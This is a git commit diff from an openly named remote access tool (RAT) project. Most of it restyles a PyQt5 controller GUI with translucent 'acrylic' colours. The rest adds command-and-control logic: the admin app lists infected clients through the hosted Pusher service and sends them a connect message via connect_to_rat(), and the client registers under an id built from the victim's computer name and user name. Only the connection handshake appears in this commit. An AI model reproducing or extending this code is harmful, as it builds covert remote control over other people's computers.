reworked interface - now acrylic

This commit is contained in:
BarsTiger
2022-05-19 19:40:36 +03:00
parent f09c425a83
commit 2de68dbad7
7 changed files with 176 additions and 148 deletions

View File

@@ -19,13 +19,11 @@ class Settings:
def get_settings() -> dict: def get_settings() -> dict:
try: try:
with open("data/settings.json", "r") as file: with open("data/settings.json", "r") as file:
settings = json.load(file) return json.load(file)
except FileNotFoundError | json.decoder.JSONDecodeError | KeyError | ValueError | TypeError: except:
Settings.fix() Settings.fix()
Settings.get_settings() Settings.get_settings()
return settings
@staticmethod @staticmethod
def animation() -> dict: def animation() -> dict:
from PyQt5.QtCore import QEasingCurve from PyQt5.QtCore import QEasingCurve

View File

@@ -6,6 +6,7 @@ import pusher
import pusher.errors import pusher.errors
import pysher import pysher
import modules.exception as exception import modules.exception as exception
from BlurWindow.blurWindow import GlobalBlur
sys.path.append('gui') sys.path.append('gui')
# Importing the main window # Importing the main window
try: try:
@@ -24,6 +25,8 @@ settings = Settings.get_settings()
# Global variables for annotations # Global variables for annotations
client = pusher.Pusher client = pusher.Pusher
receiver = pysher.Pusher receiver = pysher.Pusher
channel: receiver.subscribe = None
client_id = str()
# Initializing the main window # Initializing the main window
app = QtWidgets.QApplication(sys.argv) app = QtWidgets.QApplication(sys.argv)
@@ -31,6 +34,7 @@ MainWindow = QtWidgets.QMainWindow()
ui = Ui_MainWindow() ui = Ui_MainWindow()
ui.setupUi(MainWindow) ui.setupUi(MainWindow)
ui.pagesWidget.setCurrentIndex(0) ui.pagesWidget.setCurrentIndex(0)
GlobalBlur(MainWindow.winId(), Acrylic=True)
# Trying to get settings or set default # Trying to get settings or set default
try: try:
@@ -50,16 +54,19 @@ def initialize_pusher() -> None:
""" """
global client global client
global receiver global receiver
client = pusher.Pusher( try:
app_id=settings["app_id"], client = pusher.Pusher(
key=settings["key"], app_id=settings["app_id"],
secret=settings["secret"], key=settings["key"],
cluster=settings["cluster"], secret=settings["secret"],
ssl=False cluster=settings["cluster"],
) ssl=False
receiver = pysher.Pusher(key=settings["key"], cluster=settings["cluster"]) )
receiver.connection.bind('pusher:connection_established', handle_connection_to_server) receiver = pysher.Pusher(key=settings["key"], cluster=settings["cluster"])
receiver.connect() receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
receiver.connect()
except Exception as e:
print(e)
def open_menu(*args) -> None: def open_menu(*args) -> None:
@@ -100,6 +107,20 @@ def handle_menu_click(text: str) -> None:
index[text][0](index[text][1]) index[text][0](index[text][1])
def connect_to_rat() -> None:
"""
Connects to rat based on selected id
:return:
"""
global client_id
try:
client_id = ui.availableDevices.currentItem().text()
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
print("Sent connection message to client")
except Exception as e:
print(e)
def handle_connection_to_server(connection) -> None: def handle_connection_to_server(connection) -> None:
""" """
On pusher connection On pusher connection
@@ -109,7 +130,7 @@ def handle_connection_to_server(connection) -> None:
print("Server returned: " + str(connection)) print("Server returned: " + str(connection))
try: try:
for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']): for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']):
print("Channel: " + client_id_av.split('-')[1]) ui.availableDevices.addItem(client_id_av.split('-')[1])
except pusher.errors.PusherBadRequest: except pusher.errors.PusherBadRequest:
popup("Error", "Could not connect to pusher server\n" popup("Error", "Could not connect to pusher server\n"
"Do you have valid pusher config in settings tab?") "Do you have valid pusher config in settings tab?")
@@ -121,8 +142,11 @@ def reconnect_to_pusher() -> None:
:return: :return:
""" """
global receiver global receiver
receiver.disconnect() try:
print("Disconnected from pusher") receiver.disconnect()
print("Disconnected from pusher")
except:
print("Pusher not connected")
initialize_pusher() initialize_pusher()
@@ -133,6 +157,7 @@ initialize_pusher()
ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentItem().text())) ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentItem().text()))
ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui)))) ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui))))
ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher()) ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher())
ui.connectButton.clicked.connect(lambda: connect_to_rat())
# Handling closing of the window to exit whole program # Handling closing of the window to exit whole program
sys.exit(app.exec_()) sys.exit(app.exec_())

View File

@@ -28,8 +28,8 @@ class Ui_MainWindow(object):
MainWindow.setAutoFillBackground(False) MainWindow.setAutoFillBackground(False)
MainWindow.setStyleSheet("\n" MainWindow.setStyleSheet("\n"
"QWidget {\n" "QWidget {\n"
" background-color: rgb(30, 30, 30);\n" " background-color: rgba(30, 30, 30, 0.1);\n"
" color: rgb(255, 255, 255);\n" " color: white;\n"
" font: 10pt \"Segoe UI\";\n" " font: 10pt \"Segoe UI\";\n"
"}\n" "}\n"
"\n" "\n"
@@ -37,7 +37,7 @@ class Ui_MainWindow(object):
"QScrollBar:vertical,\n" "QScrollBar:vertical,\n"
"QScrollBar:horizontal {\n" "QScrollBar:horizontal {\n"
" border: none;\n" " border: none;\n"
" background: rgb(30, 30, 30);\n" " background: rgba(30, 30, 30, 0);\n"
" width: 10px;\n" " width: 10px;\n"
" margin: 15px 0 15px 0;\n" " margin: 15px 0 15px 0;\n"
" border-radius: 0px;\n" " border-radius: 0px;\n"
@@ -45,7 +45,7 @@ class Ui_MainWindow(object):
"\n" "\n"
"QScrollBar::handle:vertical,\n" "QScrollBar::handle:vertical,\n"
"QScrollBar::handle:horizontal { \n" "QScrollBar::handle:horizontal { \n"
" background-color: rgb(139, 139, 139);\n" " background-color: rgba(139, 139, 139, 0);\n"
" min-height: 30px;\n" " min-height: 30px;\n"
" border-radius: 5px;\n" " border-radius: 5px;\n"
"}\n" "}\n"
@@ -54,7 +54,7 @@ class Ui_MainWindow(object):
"QScrollBar::handle:vertical:pressed,\n" "QScrollBar::handle:vertical:pressed,\n"
"QScrollBar::handle:horizontal:hover,\n" "QScrollBar::handle:horizontal:hover,\n"
"QScrollBar::handle:horizontal:pressed { \n" "QScrollBar::handle:horizontal:pressed { \n"
" background-color: rgb(149, 149, 149);\n" " background-color: rgba(149, 149, 149, 0);\n"
"}\n" "}\n"
"\n" "\n"
"QScrollBar::sub-line:vertical,\n" "QScrollBar::sub-line:vertical,\n"
@@ -77,19 +77,19 @@ class Ui_MainWindow(object):
" border-width: 1px;\n" " border-width: 1px;\n"
" border-radius:6px;\n" " border-radius:6px;\n"
" border-style: solid;\n" " border-style: solid;\n"
" border-color: #303030;\n" " border-color: rgba(48, 48, 48, 0.5);\n"
" background-color: #2c2d2e;\n" " background-color: rgba(44, 45, 46, 0.3);\n"
"}\n" "}\n"
"QPushButton:hover {\n" "QPushButton:hover {\n"
" border-width: 2px;\n" " border-width: 2px;\n"
" background-color: #323232;\n" " background-color: rgba(50, 50, 50, 0.7);\n"
"}\n" "}\n"
"QPushButton:pressed {\n" "QPushButton:pressed {\n"
" background-color: #262728;\n" " background-color: rgba(38, 39, 40, 0.7);\n"
"}\n" "}\n"
"QPushButton:disabled {\n" "QPushButton:disabled {\n"
" background-color: #434343;\n" " background-color: rgba(67, 67, 67, 0.7);\n"
" border-color: #0000;\n" " border-color: rgba(0, 0, 0, 0.7);\n"
"}\n" "}\n"
"\n" "\n"
"\n" "\n"
@@ -97,8 +97,8 @@ class Ui_MainWindow(object):
" border-width: 1px;\n" " border-width: 1px;\n"
" border-radius: 5px;\n" " border-radius: 5px;\n"
" border-style: solid;\n" " border-style: solid;\n"
" border-color: #303030;\n" " border-color: rgba(48, 48, 48);\n"
" background-color: #242424;\n" " background-color: rgba(36, 36, 36, 0);\n"
" font: 10pt \"Segoe UI\";\n" " font: 10pt \"Segoe UI\";\n"
"}\n" "}\n"
"\n" "\n"
@@ -107,20 +107,20 @@ class Ui_MainWindow(object):
" border-width: 1px;\n" " border-width: 1px;\n"
" border-radius: 15px;\n" " border-radius: 15px;\n"
" border-style: solid;\n" " border-style: solid;\n"
" border-color: #303030;\n" " border-color: rgba(48, 48, 48);\n"
" padding: 10px;\n" " padding: 10px;\n"
" background-color: #242424;\n" " background-color: rgba(100, 100, 100, 0);\n"
" font: 10pt \"Segoe UI\";\n" " font: 10pt \"Segoe UI\";\n"
"}\n" "}\n"
"QListWidget:item {\n" "QListWidget:item {\n"
" background-color: #242424;\n" " background-color: rgba(36, 36, 36, 0);\n"
" selection-color: white;\n" " selection-color: white;\n"
"}\n" "}\n"
"QListWidget:item:hover {\n" "QListWidget:item:hover {\n"
" background-color: #323232;\n" " background-color: rgba(50, 50, 50, 0);\n"
"}\n" "}\n"
"QListWidget:item:selected {\n" "QListWidget:item:selected {\n"
" background-color: #777777;\n" " background-color: rgba(119, 119, 119, 1);\n"
"}\n" "}\n"
"\n" "\n"
"\n" "\n"
@@ -129,33 +129,33 @@ class Ui_MainWindow(object):
" border-width: 1px;\n" " border-width: 1px;\n"
" border-radius:6px;\n" " border-radius:6px;\n"
" border-style: solid;\n" " border-style: solid;\n"
" border-color: #303030;\n" " border-color: rgba(48, 48, 48);\n"
" background-color: #2c2d2e;\n" " background-color: rgba(44, 45, 46, 0);\n"
" color: #ffffff;\n" " color: white;\n"
"}\n" "}\n"
"\n" "\n"
"QComboBox::disabled\n" "QComboBox::disabled\n"
"{\n" "{\n"
" background-color: #434343;\n" " background-color: rgba(67, 67, 67, 0);\n"
" color: #656565;\n" " color: #656565;\n"
" border-color: #434343;\n" " border-color: rgba(67, 67, 67);\n"
"}\n" "}\n"
"\n" "\n"
"QComboBox:hover\n" "QComboBox:hover\n"
"{\n" "{\n"
" background-color: #323232;\n" " background-color: rgba(50, 50, 50, 0);\n"
"}\n" "}\n"
"\n" "\n"
"QComboBox:on\n" "QComboBox:on\n"
"{\n" "{\n"
" background-color: #434343;\n" " background-color: rgba(67, 67, 67, 0);\n"
"}\n" "}\n"
"\n" "\n"
"QComboBox QAbstractItemView\n" "QComboBox QAbstractItemView\n"
"{\n" "{\n"
" background-color: #434343;\n" " background-color: rgba(67, 67, 67, 0);\n"
" color: #ffffff;\n" " color: #ffffff;\n"
" selection-background-color: #777777;\n" " selection-background-color: rgba(119, 119, 119, 0);\n"
" selection-color: white;\n" " selection-color: white;\n"
" outline: 0;\n" " outline: 0;\n"
"}\n" "}\n"
@@ -170,57 +170,57 @@ class Ui_MainWindow(object):
"\n" "\n"
"QTabBar::tab\n" "QTabBar::tab\n"
"{\n" "{\n"
" background-color: #2c2d2e;\n" " background-color: rgba(44, 45, 46, 0);\n"
" color: #ffffff;\n" " color: #ffffff;\n"
" border-style: solid;\n" " border-style: solid;\n"
" border-width: 1px;\n" " border-width: 1px;\n"
" border-top-left-radius: 3px;\n" " border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n" " border-top-right-radius: 3px;\n"
" border-color: #303030;\n" " border-color: rgba(48, 48, 48);\n"
" padding: 5px;\n" " padding: 5px;\n"
"}\n" "}\n"
"\n" "\n"
"QTabBar::tab:disabled\n" "QTabBar::tab:disabled\n"
"{\n" "{\n"
" background-color: #656565;\n" " background-color: rgba(101, 101, 101, 0);\n"
" color: #656565;\n" " color: #656565;\n"
"}\n" "}\n"
"\n" "\n"
"QTabWidget::pane \n" "QTabWidget::pane \n"
"{\n" "{\n"
" background-color: #a0a0a0;\n" " background-color: rgba(160, 160, 160, 0);\n"
" color: #ffffff;\n" " color: #ffffff;\n"
" border: 3px solid;\n" " border: 3px solid;\n"
" border-radius: 15px;\n" " border-radius: 15px;\n"
" border-color: #1c1c1c;\n" " border-color: rgba(28, 28, 28);\n"
"}\n" "}\n"
"\n" "\n"
"QTabBar::tab:selected\n" "QTabBar::tab:selected\n"
"{\n" "{\n"
" background-color: #262728;\n" " background-color: rgba(38, 39, 40, 0);\n"
" color: #ffffff;\n" " color: #ffffff;\n"
" border-style: solid;\n" " border-style: solid;\n"
" border-width: 1px;\n" " border-width: 1px;\n"
" border-top-left-radius: 3px;\n" " border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n" " border-top-right-radius: 3px;\n"
" border-color: #303030;\n" " border-color: rgba(48, 48, 48);\n"
" padding: 5px;\n" " padding: 5px;\n"
"}\n" "}\n"
"\n" "\n"
"QTabBar::tab:selected:disabled\n" "QTabBar::tab:selected:disabled\n"
"{\n" "{\n"
" background-color: #404040;\n" " background-color: rgba(64, 64, 64, 0);\n"
" color: #656565;\n" " color: #656565;\n"
"}\n" "}\n"
"\n" "\n"
"QTabBar::tab:!selected \n" "QTabBar::tab:!selected \n"
"{\n" "{\n"
" background-color: #262626;\n" " background-color: rgba(38, 38, 38, 0);\n"
"}\n" "}\n"
"\n" "\n"
"QTabBar::tab:!selected:hover \n" "QTabBar::tab:!selected:hover \n"
"{\n" "{\n"
" background-color: #323232;\n" " background-color: rgba(50, 50, 50, 0);\n"
"}\n" "}\n"
"\n" "\n"
"QTabBar::tab:top:!selected \n" "QTabBar::tab:top:!selected \n"
@@ -301,26 +301,28 @@ class Ui_MainWindow(object):
self.leftMenu.setMinimumSize(QtCore.QSize(60, 0)) self.leftMenu.setMinimumSize(QtCore.QSize(60, 0))
self.leftMenu.setMaximumSize(QtCore.QSize(60, 16777215)) self.leftMenu.setMaximumSize(QtCore.QSize(60, 16777215))
self.leftMenu.setFocusPolicy(QtCore.Qt.NoFocus) self.leftMenu.setFocusPolicy(QtCore.Qt.NoFocus)
self.leftMenu.setStyleSheet("QListWidget {\n" self.leftMenu.setStyleSheet("\n"
"QListWidget {\n"
" border-width: 0px;\n" " border-width: 0px;\n"
" border-radius: 0px;\n" " border-radius: 0px;\n"
" border: none;\n" " border: none;\n"
" padding: 0px;\n" " padding: 0px;\n"
" background-color: #242424;\n" " background-color: rgba(36, 36, 36, 0);\n"
" font: 10pt \"Segoe UI\";\n" " font: 10pt \"Segoe UI\";\n"
"}\n" "}\n"
"QListWidget:item {\n" "QListWidget:item {\n"
" padding-left: 10px;\n" " padding-left: 10px;\n"
" height: 60px;\n" " height: 60px;\n"
" background-color: #191919;\n" " background-color: rgba(25, 25, 25, 0);\n"
" selection-color: rgba(255, 255, 255);\n" " selection-color: rgba(255, 255, 255);\n"
"}\n" "}\n"
"QListWidget:item:hover {\n" "QListWidget:item:hover {\n"
" background-color: #323232;\n" " background-color: rgba(50, 50, 50, 0);\n"
"}\n" "}\n"
"QListWidget:item:selected {\n" "QListWidget:item:selected {\n"
" background-color: #262728;\n" " background-color: rgba(38, 39, 40, 0);\n"
"}") "}\n"
"")
self.leftMenu.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) self.leftMenu.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.leftMenu.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) self.leftMenu.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.leftMenu.setAutoScroll(False) self.leftMenu.setAutoScroll(False)

View File

@@ -41,8 +41,8 @@
<property name="styleSheet"> <property name="styleSheet">
<string notr="true"> <string notr="true">
QWidget { QWidget {
background-color: rgb(30, 30, 30); background-color: rgba(30, 30, 30, 0.1);
color: rgb(255, 255, 255); color: white;
font: 10pt &quot;Segoe UI&quot;; font: 10pt &quot;Segoe UI&quot;;
} }
@@ -50,7 +50,7 @@ QWidget {
QScrollBar:vertical, QScrollBar:vertical,
QScrollBar:horizontal { QScrollBar:horizontal {
border: none; border: none;
background: rgb(30, 30, 30); background: rgba(30, 30, 30, 0);
width: 10px; width: 10px;
margin: 15px 0 15px 0; margin: 15px 0 15px 0;
border-radius: 0px; border-radius: 0px;
@@ -58,7 +58,7 @@ QScrollBar:horizontal {
QScrollBar::handle:vertical, QScrollBar::handle:vertical,
QScrollBar::handle:horizontal { QScrollBar::handle:horizontal {
background-color: rgb(139, 139, 139); background-color: rgba(139, 139, 139, 0);
min-height: 30px; min-height: 30px;
border-radius: 5px; border-radius: 5px;
} }
@@ -67,7 +67,7 @@ QScrollBar::handle:vertical:hover,
QScrollBar::handle:vertical:pressed, QScrollBar::handle:vertical:pressed,
QScrollBar::handle:horizontal:hover, QScrollBar::handle:horizontal:hover,
QScrollBar::handle:horizontal:pressed { QScrollBar::handle:horizontal:pressed {
background-color: rgb(149, 149, 149); background-color: rgba(149, 149, 149, 0);
} }
QScrollBar::sub-line:vertical, QScrollBar::sub-line:vertical,
@@ -90,19 +90,19 @@ QPushButton {
border-width: 1px; border-width: 1px;
border-radius:6px; border-radius:6px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48, 0.5);
background-color: #2c2d2e; background-color: rgba(44, 45, 46, 0.3);
} }
QPushButton:hover { QPushButton:hover {
border-width: 2px; border-width: 2px;
background-color: #323232; background-color: rgba(50, 50, 50, 0.7);
} }
QPushButton:pressed { QPushButton:pressed {
background-color: #262728; background-color: rgba(38, 39, 40, 0.7);
} }
QPushButton:disabled { QPushButton:disabled {
background-color: #434343; background-color: rgba(67, 67, 67, 0.7);
border-color: #0000; border-color: rgba(0, 0, 0, 0.7);
} }
@@ -110,8 +110,8 @@ QLineEdit, QTextBrowser, QPlainTextEdit, QTextEdit {
border-width: 1px; border-width: 1px;
border-radius: 5px; border-radius: 5px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48);
background-color: #242424; background-color: rgba(36, 36, 36, 0);
font: 10pt &quot;Segoe UI&quot;; font: 10pt &quot;Segoe UI&quot;;
} }
@@ -120,20 +120,20 @@ QListWidget {
border-width: 1px; border-width: 1px;
border-radius: 15px; border-radius: 15px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48);
padding: 10px; padding: 10px;
background-color: #242424; background-color: rgba(100, 100, 100, 0);
font: 10pt &quot;Segoe UI&quot;; font: 10pt &quot;Segoe UI&quot;;
} }
QListWidget:item { QListWidget:item {
background-color: #242424; background-color: rgba(36, 36, 36, 0);
selection-color: white; selection-color: white;
} }
QListWidget:item:hover { QListWidget:item:hover {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QListWidget:item:selected { QListWidget:item:selected {
background-color: #777777; background-color: rgba(119, 119, 119, 1);
} }
@@ -142,33 +142,33 @@ QComboBox
border-width: 1px; border-width: 1px;
border-radius:6px; border-radius:6px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48);
background-color: #2c2d2e; background-color: rgba(44, 45, 46, 0);
color: #ffffff; color: white;
} }
QComboBox::disabled QComboBox::disabled
{ {
background-color: #434343; background-color: rgba(67, 67, 67, 0);
color: #656565; color: #656565;
border-color: #434343; border-color: rgba(67, 67, 67);
} }
QComboBox:hover QComboBox:hover
{ {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QComboBox:on QComboBox:on
{ {
background-color: #434343; background-color: rgba(67, 67, 67, 0);
} }
QComboBox QAbstractItemView QComboBox QAbstractItemView
{ {
background-color: #434343; background-color: rgba(67, 67, 67, 0);
color: #ffffff; color: #ffffff;
selection-background-color: #777777; selection-background-color: rgba(119, 119, 119, 0);
selection-color: white; selection-color: white;
outline: 0; outline: 0;
} }
@@ -183,57 +183,57 @@ QComboBox::drop-down
QTabBar::tab QTabBar::tab
{ {
background-color: #2c2d2e; background-color: rgba(44, 45, 46, 0);
color: #ffffff; color: #ffffff;
border-style: solid; border-style: solid;
border-width: 1px; border-width: 1px;
border-top-left-radius: 3px; border-top-left-radius: 3px;
border-top-right-radius: 3px; border-top-right-radius: 3px;
border-color: #303030; border-color: rgba(48, 48, 48);
padding: 5px; padding: 5px;
} }
QTabBar::tab:disabled QTabBar::tab:disabled
{ {
background-color: #656565; background-color: rgba(101, 101, 101, 0);
color: #656565; color: #656565;
} }
QTabWidget::pane QTabWidget::pane
{ {
background-color: #a0a0a0; background-color: rgba(160, 160, 160, 0);
color: #ffffff; color: #ffffff;
border: 3px solid; border: 3px solid;
border-radius: 15px; border-radius: 15px;
border-color: #1c1c1c; border-color: rgba(28, 28, 28);
} }
QTabBar::tab:selected QTabBar::tab:selected
{ {
background-color: #262728; background-color: rgba(38, 39, 40, 0);
color: #ffffff; color: #ffffff;
border-style: solid; border-style: solid;
border-width: 1px; border-width: 1px;
border-top-left-radius: 3px; border-top-left-radius: 3px;
border-top-right-radius: 3px; border-top-right-radius: 3px;
border-color: #303030; border-color: rgba(48, 48, 48);
padding: 5px; padding: 5px;
} }
QTabBar::tab:selected:disabled QTabBar::tab:selected:disabled
{ {
background-color: #404040; background-color: rgba(64, 64, 64, 0);
color: #656565; color: #656565;
} }
QTabBar::tab:!selected QTabBar::tab:!selected
{ {
background-color: #262626; background-color: rgba(38, 38, 38, 0);
} }
QTabBar::tab:!selected:hover QTabBar::tab:!selected:hover
{ {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QTabBar::tab:top:!selected QTabBar::tab:top:!selected
@@ -344,26 +344,28 @@ QTabBar::tab:left:only-one, QTabBar::tab:right:only-one
<enum>Qt::NoFocus</enum> <enum>Qt::NoFocus</enum>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
<string notr="true">QListWidget { <string notr="true">
QListWidget {
border-width: 0px; border-width: 0px;
border-radius: 0px; border-radius: 0px;
border: none; border: none;
padding: 0px; padding: 0px;
background-color: #242424; background-color: rgba(36, 36, 36, 0);
font: 10pt &quot;Segoe UI&quot;; font: 10pt &quot;Segoe UI&quot;;
} }
QListWidget:item { QListWidget:item {
padding-left: 10px; padding-left: 10px;
height: 60px; height: 60px;
background-color: #191919; background-color: rgba(25, 25, 25, 0);
selection-color: rgba(255, 255, 255); selection-color: rgba(255, 255, 255);
} }
QListWidget:item:hover { QListWidget:item:hover {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QListWidget:item:selected { QListWidget:item:selected {
background-color: #262728; background-color: rgba(38, 39, 40, 0);
}</string> }
</string>
</property> </property>
<property name="verticalScrollBarPolicy"> <property name="verticalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum> <enum>Qt::ScrollBarAlwaysOff</enum>

View File

@@ -1,7 +1,7 @@
centralwidget = """ centralwidget = """
QWidget { QWidget {
background-color: rgb(30, 30, 30); background-color: rgba(30, 30, 30, 0.1);
color: rgb(255, 255, 255); color: white;
font: 10pt "Segoe UI"; font: 10pt "Segoe UI";
} }
@@ -9,7 +9,7 @@ QWidget {
QScrollBar:vertical, QScrollBar:vertical,
QScrollBar:horizontal { QScrollBar:horizontal {
border: none; border: none;
background: rgb(30, 30, 30); background: rgba(30, 30, 30, 0);
width: 10px; width: 10px;
margin: 15px 0 15px 0; margin: 15px 0 15px 0;
border-radius: 0px; border-radius: 0px;
@@ -17,7 +17,7 @@ QScrollBar:horizontal {
QScrollBar::handle:vertical, QScrollBar::handle:vertical,
QScrollBar::handle:horizontal { QScrollBar::handle:horizontal {
background-color: rgb(139, 139, 139); background-color: rgba(139, 139, 139, 0);
min-height: 30px; min-height: 30px;
border-radius: 5px; border-radius: 5px;
} }
@@ -26,7 +26,7 @@ QScrollBar::handle:vertical:hover,
QScrollBar::handle:vertical:pressed, QScrollBar::handle:vertical:pressed,
QScrollBar::handle:horizontal:hover, QScrollBar::handle:horizontal:hover,
QScrollBar::handle:horizontal:pressed { QScrollBar::handle:horizontal:pressed {
background-color: rgb(149, 149, 149); background-color: rgba(149, 149, 149, 0);
} }
QScrollBar::sub-line:vertical, QScrollBar::sub-line:vertical,
@@ -49,19 +49,19 @@ QPushButton {
border-width: 1px; border-width: 1px;
border-radius:6px; border-radius:6px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48, 0.5);
background-color: #2c2d2e; background-color: rgba(44, 45, 46, 0.3);
} }
QPushButton:hover { QPushButton:hover {
border-width: 2px; border-width: 2px;
background-color: #323232; background-color: rgba(50, 50, 50, 0.7);
} }
QPushButton:pressed { QPushButton:pressed {
background-color: #262728; background-color: rgba(38, 39, 40, 0.7);
} }
QPushButton:disabled { QPushButton:disabled {
background-color: #434343; background-color: rgba(67, 67, 67, 0.7);
border-color: #0000; border-color: rgba(0, 0, 0, 0.7);
} }
@@ -69,8 +69,8 @@ QLineEdit, QTextBrowser, QPlainTextEdit, QTextEdit {
border-width: 1px; border-width: 1px;
border-radius: 5px; border-radius: 5px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48);
background-color: #242424; background-color: rgba(36, 36, 36, 0);
font: 10pt "Segoe UI"; font: 10pt "Segoe UI";
} }
@@ -79,20 +79,20 @@ QListWidget {
border-width: 1px; border-width: 1px;
border-radius: 15px; border-radius: 15px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48);
padding: 10px; padding: 10px;
background-color: #242424; background-color: rgba(100, 100, 100, 0);
font: 10pt "Segoe UI"; font: 10pt "Segoe UI";
} }
QListWidget:item { QListWidget:item {
background-color: #242424; background-color: rgba(36, 36, 36, 0);
selection-color: white; selection-color: white;
} }
QListWidget:item:hover { QListWidget:item:hover {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QListWidget:item:selected { QListWidget:item:selected {
background-color: #777777; background-color: rgba(119, 119, 119, 1);
} }
@@ -101,33 +101,33 @@ QComboBox
border-width: 1px; border-width: 1px;
border-radius:6px; border-radius:6px;
border-style: solid; border-style: solid;
border-color: #303030; border-color: rgba(48, 48, 48);
background-color: #2c2d2e; background-color: rgba(44, 45, 46, 0);
color: #ffffff; color: white;
} }
QComboBox::disabled QComboBox::disabled
{ {
background-color: #434343; background-color: rgba(67, 67, 67, 0);
color: #656565; color: #656565;
border-color: #434343; border-color: rgba(67, 67, 67);
} }
QComboBox:hover QComboBox:hover
{ {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QComboBox:on QComboBox:on
{ {
background-color: #434343; background-color: rgba(67, 67, 67, 0);
} }
QComboBox QAbstractItemView QComboBox QAbstractItemView
{ {
background-color: #434343; background-color: rgba(67, 67, 67, 0);
color: #ffffff; color: #ffffff;
selection-background-color: #777777; selection-background-color: rgba(119, 119, 119, 0);
selection-color: white; selection-color: white;
outline: 0; outline: 0;
} }
@@ -142,57 +142,57 @@ QComboBox::drop-down
QTabBar::tab QTabBar::tab
{ {
background-color: #2c2d2e; background-color: rgba(44, 45, 46, 0);
color: #ffffff; color: #ffffff;
border-style: solid; border-style: solid;
border-width: 1px; border-width: 1px;
border-top-left-radius: 3px; border-top-left-radius: 3px;
border-top-right-radius: 3px; border-top-right-radius: 3px;
border-color: #303030; border-color: rgba(48, 48, 48);
padding: 5px; padding: 5px;
} }
QTabBar::tab:disabled QTabBar::tab:disabled
{ {
background-color: #656565; background-color: rgba(101, 101, 101, 0);
color: #656565; color: #656565;
} }
QTabWidget::pane QTabWidget::pane
{ {
background-color: #a0a0a0; background-color: rgba(160, 160, 160, 0);
color: #ffffff; color: #ffffff;
border: 3px solid; border: 3px solid;
border-radius: 15px; border-radius: 15px;
border-color: #1c1c1c; border-color: rgba(28, 28, 28);
} }
QTabBar::tab:selected QTabBar::tab:selected
{ {
background-color: #262728; background-color: rgba(38, 39, 40, 0);
color: #ffffff; color: #ffffff;
border-style: solid; border-style: solid;
border-width: 1px; border-width: 1px;
border-top-left-radius: 3px; border-top-left-radius: 3px;
border-top-right-radius: 3px; border-top-right-radius: 3px;
border-color: #303030; border-color: rgba(48, 48, 48);
padding: 5px; padding: 5px;
} }
QTabBar::tab:selected:disabled QTabBar::tab:selected:disabled
{ {
background-color: #404040; background-color: rgba(64, 64, 64, 0);
color: #656565; color: #656565;
} }
QTabBar::tab:!selected QTabBar::tab:!selected
{ {
background-color: #262626; background-color: rgba(38, 38, 38, 0);
} }
QTabBar::tab:!selected:hover QTabBar::tab:!selected:hover
{ {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QTabBar::tab:top:!selected QTabBar::tab:top:!selected
@@ -268,19 +268,19 @@ QListWidget {
border-radius: 0px; border-radius: 0px;
border: none; border: none;
padding: 0px; padding: 0px;
background-color: #242424; background-color: rgba(36, 36, 36, 0);
font: 10pt "Segoe UI"; font: 10pt "Segoe UI";
} }
QListWidget:item { QListWidget:item {
padding-left: 10px; padding-left: 10px;
height: 60px; height: 60px;
background-color: #191919; background-color: rgba(25, 25, 25, 0);
selection-color: rgba(255, 255, 255); selection-color: rgba(255, 255, 255);
} }
QListWidget:item:hover { QListWidget:item:hover {
background-color: #323232; background-color: rgba(50, 50, 50, 0);
} }
QListWidget:item:selected { QListWidget:item:selected {
background-color: #262728; background-color: rgba(38, 39, 40, 0);
} }
""" """

View File

@@ -67,7 +67,7 @@ def handle_connection_to_server(connection):
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1] client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]
.split('@')[0]) + 1) + f'@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}' .split('@')[0]) + 1) + f'@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
except IndexError: except IndexError:
client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}' client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'[:156]
channel = receiver.subscribe(f'admin-{client_id}') channel = receiver.subscribe(f'admin-{client_id}')
print("Client id: " + client_id) print("Client id: " + client_id)
channel.bind('connection_from_admin', lambda _: print("Connection from admin")) channel.bind('connection_from_admin', lambda _: print("Connection from admin"))

View File

@@ -12,4 +12,5 @@ pyinstaller
zstandard zstandard
nuitka nuitka
python-vlc python-vlc
playsound playsound
BlurWindow